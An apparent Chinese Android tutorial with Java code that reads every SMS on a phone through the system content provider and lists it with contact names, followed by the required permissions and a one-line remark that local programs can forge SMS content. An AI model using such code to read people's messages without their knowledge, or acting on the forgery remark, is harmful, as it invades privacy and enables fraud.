原理是通过，contentprovider获取系统短信数据库中的字段信息而达到获取内容目的
效果图如下：
具体代码如下：
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import android.app.ListActivity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.net.Uri;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.PhoneLookup;
import android.util.Log;
import android.widget.ListView;
import android.widget.SimpleAdapter;
public class QureSms extends ListActivity {
ListView smslist=null; //显示列表信息
ArrayList<Map<String,Object>> mData= new ArrayList<Map<String,Object>>();
List<String> title=new ArrayList<String>(); //短信来源
List<String> text=new ArrayList<String>(); //短信内容
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
smslist=getListView();
getSmsInPhone();
int lengh = title.size();
for(int i =0; i < lengh; i++) {
Map<String,Object> item = new HashMap<String,Object>();
item.put("title", title.get(i));
item.put("text", text.get(i));
mData.add(item);
}
SimpleAdapter adapter = new SimpleAdapter(this,mData,android.R.layout.simple_list_item_2,
new String[]{"title","text"},new int[]{android.R.id.text1,android.R.id.text2});
setListAdapter(adapter);
}
/**
* 获取手机内所以短消息
*/
private void getSmsInPhone(){
final String SMS_URI_ALL = "content://sms/";
/*final String SMS_URI_INBOX = "content://sms/inbox";
final String SMS_URI_SEND = "content://sms/sent";
final String SMS_URI_DRAFT = "content://sms/draft"; */
try{
ContentResolver cr = getContentResolver();
String[] projection = new String[]{"_id", "address", "person",
"body", "date", "type"};
Uri uri = Uri.parse(SMS_URI_ALL);
Cursor cur = cr.query(uri, projection, null, null, "date desc");
if (cur.moveToFirst()) {
String name;
String phoneNumber;
String smsbody;
String date;
String type;
// int nameColumn = cur.getColumnIndex("person");
int phoneNumberColumn = cur.getColumnIndex("address");
int smsbodyColumn = cur.getColumnIndex("body");
int dateColumn = cur.getColumnIndex("date");
int typeColumn = cur.getColumnIndex("type");
do{
phoneNumber = cur.getString(phoneNumberColumn);
// name = cur.getString(nameColumn); 这样获取的联系认为空，所以我改用下面的方法获取
name=getPeopleNameFromPerson(phoneNumber);
smsbody = cur.getString(smsbodyColumn);
SimpleDateFormat dateFormat = new SimpleDateFormat(
"yyyy-MM-dd hh:mm:ss");
Date d = new Date(Long.parseLong(cur.getString(dateColumn)));
date = dateFormat.format(d);
int typeId = cur.getInt(typeColumn);
if(typeId == 1){
type = "接收";
} else if(typeId == 2){
type = "发送";
} else {
type = "草稿";
}
title.add(type+" "+date+'\n'+phoneNumber);
text.add(name+'\n'+smsbody);
if(smsbody == null) smsbody = "";
} while(cur.moveToNext());
}
cur.close();
cur=null;
} catch(SQLiteException ex) {
Log.e("SQLiteException in getSmsInPhone", ex.getMessage());
}
}
/**
* 通过address手机号关联Contacts联系人的显示名字
* @param address
* @return
*/
private String getPeopleNameFromPerson(String address){
if(address == null || address == ""){
return null;
}
String strPerson = "null";
String[] projection = new String[] {Phone.DISPLAY_NAME, Phone.NUMBER};
Uri uri_Person = Uri.withAppendedPath(ContactsContract.CommonDataKinds.Phone.CONTENT_FILTER_URI, address); // address 手机号过滤
Cursor cursor = getContentResolver().query(uri_Person, projection, null, null, null);
if(cursor.moveToFirst()){
int index_PeopleName = cursor.getColumnIndex(Phone.DISPLAY_NAME);
String strPeopleName = cursor.getString(index_PeopleName);
strPerson = strPeopleName;
}
else{
strPerson = address;
}
cursor.close();
cursor=null;
return strPerson;
}
}
最后添加必要权限：
<uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.READ_SMS" />
短信欺诈：本地程序可以根据sms协议及格式进行伪造短信内容的行为。
